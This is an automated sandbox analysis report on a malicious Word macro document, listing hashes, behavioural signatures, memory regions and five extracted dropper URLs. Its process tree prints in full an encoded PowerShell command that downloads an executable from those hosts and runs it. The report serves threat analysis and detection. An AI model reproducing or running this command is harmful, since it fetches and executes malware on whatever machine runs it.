Analysis

  • max time kernel
    120s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240220-en
  • resource tags

    arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
  • submitted
    28-04-2024 09:18

General

  • Target

    04dcd1a8006cc2c5a62f51b59af33c6f_JaffaCakes118.doc

  • Size

    237KB

  • MD5

    04dcd1a8006cc2c5a62f51b59af33c6f

  • SHA1

    c42054956dc5f4ce509538675c51d4e82efc1b21

  • SHA256

    50cae3ad5a58a4c52773cf8252ac8afef2ec987541c3313064295d0535969553

  • SHA512

    0b7cd9d060cc71eaf94ef049babaf0384e2954546b81853103f1a064394ed4022ea06a61849c274b1c845d244b28d1a7b50485bdd1ac312173d3d578ffc9b25a

  • SSDEEP

    3072:9Ed93LpGo0aQLkaReAkQz4P56rkR6i+Pidf+le0I1nR3:9Ed2VZj7cPEi66f+7I1nR3

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://neumaticosutilizados.com/1TI81PRQLORR

exe.dropper

http://whiskyshipper.com/wp-content/A8BRS9sLl8i_P8DBsLho

exe.dropper

http://geestdriftnu.com/gqXb3ghkRZJ6tjL8_Y

exe.dropper

http://matex.biz//RQR0RaohiR_P

exe.dropper

http://beepme.eu/OtwnseuMiQetfBs

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\04dcd1a8006cc2c5a62f51b59af33c6f_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1028
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2528
    • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLl.exe
      powersheLl -e JAB3ADcANgA2ADQAMgA4AD0AKAAnAFYAOAAnACsAJwBfADIAJwArACcANAA1ACcAKQA7ACQAUgAwAF8AXwAyADIANgAxAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAFYAMAAzAF8AMAA2ADUAXwA9ACgAJwBoAHQAdABwADoALwAnACsAJwAvAG4AZQB1AG0AYQB0AGkAJwArACcAYwBvACcAKwAnAHMAdQAnACsAJwB0AGkAbABpAHoAYQBkACcAKwAnAG8AJwArACcAcwAuACcAKwAnAGMAbwBtAC8AMQBUACcAKwAnAEkAOAAxACcAKwAnAFAAUgBRAEwATwBSAFIAQAAnACsAJwBoAHQAdAAnACsAJwBwADoALwAvAHcAaAAnACsAJwBpAHMAawB5AHMAaABpAHAAcAAnACsAJwBlAHIALgBjAG8AbQAvAHcAcAAnACsAJwAtACcAKwAnAGMAbwBuAHQAZQBuAHQALwAnACsAJwBBADgAQgBSACcAKwAnAFMAOQAnACsAJwBzAEwAJwArACcAbAA4ACcAKwAnAGkAXwBQADgARAAnACsAJwBCAHMATABoAG8AQABoAHQAdABwACcAKwAnADoALwAvACcAKwAnAGcAZQBlACcAKwAnAHMAdABkACcAKwAnAHIAJwArACcAaQBmAHQAbgB1AC4AYwAnACsAJwBvAG0ALwBnAHEAWAAnACsAJwBiADMAZwAnACsAJwBoAGsAJwArACcAUgBaAEoANgB0ACcAKwAnAGoATAA4AF8AWQBAAGgAdAB0ACcAKwAnAHAAJwArACcAOgAvAC8AbQAnACsAJwBhAHQAJwArACcAZQB4AC4AJwArACcAYgBpAHoALwAvAFIAJwArACcAUQBSADAAJwArACcAUgBhAG8AaABpAFIAXwBQAEAAaAB0AHQAJwArACcAcAA6ACcAKwAnAC8ALwBiACcAKwAnAGUAZQBwACcAKwAnAG0AJwArACcAZQAnACsAJwAuAGUAdQAvAE8AdAAnACsAJwB3AG4AcwBlAHUATQBpAFEAZQB0AGYAQgAnACsAJwBzACcAKQAuAFMAcABsAGkAdAAoACcAQAAnACkAOwAkAEEANgBfADAANgA3AD0AKAAnAG4AXwAnACsAJwAyADIAJwArACcAXwBfACcAKQA7ACQAawA5AF8AMwAwADAAXwAwACAAPQAgACgAJwA2ADIAJwArACcAOQAnACkAOwAkAEsANABfADMAMgAzAF8AOQA9ACgAJwBSACcAKwAnAF8ANwA5AF8AXwAnACsAJwA3ACcAKQA7ACQAaQA2ADUANwAzADQAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAGsAOQBfADMAMAAwAF8AMAArACgAJwAuACcAKwAnAGUAeABlACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFEAXwA2ADkANQA1ADEAMwAgAGkAbgAgACQAVgAwADMAXwAwADYANQBfACkAewB0AHIAeQB7ACQAUgAwAF8AXwAyADIANgAxAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAFEAXwA2ADkANQA1ADEAMwAsACAAJABpADYANQA3ADMANAApADsAJABpADAAOQAxAF8ANgA4AD0AKAAnAFUAOQAnACsAJwA5AF8AXwA3ACcAKwAnADEAJwApADsASQBmACAAKAAoAEcAZQB0AC0ASQB0AGUAbQAgACQAaQA2ADUANwAzADQAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAA0ADAAMAAwADAAKQAgAHsASQBuAHYAbwBrAGUALQBJAHQAZQBtACAAJABpADYANQA3ADMANAA7ACQAegBfADMAXwAxADYAXwAyAD0AKAAnAFYAMwAnACsAJwAzACcAKwAnADQAMQA0ACcAKQA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAewB9AH0AJABmADQAXwBfADkAMQA5ADQAPQAoACcAVQAyADEAOQBfACcAKwAnAF8AJwArACcAOABfACcAKQA7AA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2360

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      10ddc7dd713ef9a73a7f6c0a774d37a1

      SHA1

      c0c20e83d773d65c4ec5a66d7172763c40073b1f

      SHA256

      d55839c0c83062ba2999df039ce0ff1ded64c20cff1f90043ec8af8854d25a31

      SHA512

      ef8951fb318734e3b3f39c4bbeaffce8b2fdd5c8c143af35a4a582033ec9dc60976a98bfca2274c0ce44483d83b967a84513b30f7f95876c69e0b4f962de842b

    • memory/1028-44-0x00000000001B0000-0x00000000002B0000-memory.dmp

      Filesize

      1024KB

    • memory/1028-8-0x00000000001B0000-0x00000000002B0000-memory.dmp

      Filesize

      1024KB

    • memory/1028-13-0x00000000001B0000-0x00000000002B0000-memory.dmp

      Filesize

      1024KB

    • memory/1028-16-0x00000000001B0000-0x00000000002B0000-memory.dmp

      Filesize

      1024KB

    • memory/1028-70-0x00000000001B0000-0x00000000002B0000-memory.dmp

      Filesize

      1024KB

    • memory/1028-66-0x00000000001B0000-0x00000000002B0000-memory.dmp

      Filesize

      1024KB

    • memory/1028-132-0x00000000001B0000-0x00000000002B0000-memory.dmp

      Filesize

      1024KB

    • memory/1028-53-0x00000000001B0000-0x00000000002B0000-memory.dmp

      Filesize

      1024KB

    • memory/1028-39-0x00000000001B0000-0x00000000002B0000-memory.dmp

      Filesize

      1024KB

    • memory/1028-28-0x00000000001B0000-0x00000000002B0000-memory.dmp

      Filesize

      1024KB

    • memory/1028-17-0x00000000001B0000-0x00000000002B0000-memory.dmp

      Filesize

      1024KB

    • memory/1028-64-0x00000000001B0000-0x00000000002B0000-memory.dmp

      Filesize

      1024KB

    • memory/1028-52-0x00000000001B0000-0x00000000002B0000-memory.dmp

      Filesize

      1024KB

    • memory/1028-0-0x000000002F581000-0x000000002F582000-memory.dmp

      Filesize

      4KB

    • memory/1028-162-0x00000000714FD000-0x0000000071508000-memory.dmp

      Filesize

      44KB

    • memory/1028-2-0x00000000714FD000-0x0000000071508000-memory.dmp

      Filesize

      44KB

    • memory/1028-9-0x00000000001B0000-0x00000000002B0000-memory.dmp

      Filesize

      1024KB

    • memory/1028-12-0x00000000001B0000-0x00000000002B0000-memory.dmp

      Filesize

      1024KB

    • memory/1028-11-0x00000000001B0000-0x00000000002B0000-memory.dmp

      Filesize

      1024KB

    • memory/1028-10-0x00000000001B0000-0x00000000002B0000-memory.dmp

      Filesize

      1024KB

    • memory/1028-14-0x00000000001B0000-0x00000000002B0000-memory.dmp

      Filesize

      1024KB

    • memory/1028-7-0x00000000001B0000-0x00000000002B0000-memory.dmp

      Filesize

      1024KB

    • memory/1028-6-0x00000000001B0000-0x00000000002B0000-memory.dmp

      Filesize

      1024KB

    • memory/1028-15-0x00000000001B0000-0x00000000002B0000-memory.dmp

      Filesize

      1024KB

    • memory/1028-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1028-144-0x00000000714FD000-0x0000000071508000-memory.dmp

      Filesize

      44KB

    • memory/1028-145-0x00000000001B0000-0x00000000002B0000-memory.dmp

      Filesize

      1024KB

    • memory/1028-146-0x00000000001B0000-0x00000000002B0000-memory.dmp

      Filesize

      1024KB

    • memory/2360-139-0x0000000001F40000-0x0000000001F48000-memory.dmp

      Filesize

      32KB

    • memory/2360-138-0x000000001B860000-0x000000001BB42000-memory.dmp

      Filesize

      2.9MB